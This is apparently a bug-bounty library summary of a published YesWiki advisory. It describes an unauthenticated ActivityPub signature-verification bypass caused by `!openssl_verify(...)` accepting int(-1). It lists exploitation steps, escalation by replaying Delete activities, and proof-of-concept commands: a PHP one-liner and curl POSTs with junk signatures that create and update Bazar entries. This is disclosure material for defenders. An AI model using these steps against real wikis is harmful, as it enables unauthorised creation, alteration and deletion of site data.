# YesWiki Vulnerable to Unauthenticated ActivityPub Signature-Verification Bypass via `!openssl_verify(...)` accepting `int(-1)`

YesWiki's ActivityPub inbox used `!openssl_verify(...)`, so a DSA key with RSA-SHA256 returning int(-1) bypassed signature checks, letting unauthenticated attackers create/update/delete Bazar entries.

- Payout: Research
- Severity: high
- Program: YesWiki
- Found by: hash3liZer, eros938
- Disclosed: 2026-07-09
- CVE: CVE-2026-52767
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-mv28-wj57-f57g
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-mv28-wj57-f57g
- Tags: area:web domain:web impact:data-leak impact:integrity kind:research platform:ghsa sev:high tech:php technique:source-review vuln:access-control vuln:auth-bypass vuln:crypto

**Target:** ActivityPub inbox endpoint (HttpSignatureService::verifySignature)
**Root cause:** Loose boolean negation `!openssl_verify(...)` treats the error return value int(-1) as truthy, so the throw is skipped and verification failure is treated as success.
**Steps:**
1. Host an actor JSON document with a DSA publicKeyPem at an attacker-controlled URL.
2. POST a Create activity to `/?api/forms/{id}/actor/inbox` with `Signature: keyId="<actor URL>",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="` and a valid `Digest: SHA-256=<base64(sha256(body))>`.
3. YesWiki fetches the actor doc, calls `openssl_verify($data, sig, $dsaKey, "RSA-SHA256")` which returns int(-1); `!(-1) === false` so no exception is thrown.
4. processActivity runs EntryManager::create/update/delete on the Bazar form.
5. Replay with type=Update or Delete referencing the same object.id to modify or erase the entry.
**How found:** Code review of verifySignature spotted the loose `!openssl_verify(...)` check; researcher enumerated openssl_verify's four return values and realized int(-1) is truthy, then found DSA key + RSA-SHA256 algorithm reliably yields -1 on PHP 8.3/OpenSSL 3.x.
**Exploitation:** Unauthenticated single POST per operation; attacker supplies own actor document with DSA key, junk signature, and self-computed Digest. Create inserts a row and triple; Update/Delete locate the entry via the sourceUrl triple and rewrite/remove it.
**Escalation:** Enumerate public outbox to discover object.id values of legitimate federated entries, then replay Delete to erase them; triple-store pollution persists after deletion.
**Insight:** When auditing PHP crypto checks, remember openssl_verify returns 1/0/-1/false — only `=== 1` is safe. Try mismatched key types (DSA/EC key with RSA-* algorithm) to force the -1 error path on modern OpenSSL.

## Proof of concept (copied exactly from the original report)

**PHP one-liner proving openssl_verify returns -1**

```
podman exec "$CTR" php -r '
    $pem = file_get_contents("/tmp/attacker_keys/dsa.pub");
    $key = openssl_get_publickey($pem);
    $r   = openssl_verify("hello", "junk", $key, "RSA-SHA256");
    echo "openssl_verify returned: " . var_export($r, true) . "\n";
    echo "!openssl_verify(...)  is: " . var_export(!$r, true) . "\n";
'
```

**Unauthenticated Create activity POST with junk signature**

```
curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \
     -H "Content-Type: application/activity+json" \
     -H "Date: ${DATE}" \
     -H "Digest: ${DIGEST}" \
     -H "Signature: ${SIG}" \
     --data-raw "$ACTIVITY" \
     -w '\n  HTTP %{http_code}\n'
```

**Update activity POST reusing same bypass**

```
curl -s -X POST "${BASE}/?api/forms/${FORM_ID}/actor/inbox" \
     -H "Content-Type: application/activity+json" \
     -H "Date: ${DATE}" \
     -H "Digest: ${DIGEST}" \
     -H "Signature: ${SIG}" \
     --data-raw "$UPDATE_ACT" \
     -w '  HTTP %{http_code}\n'
```

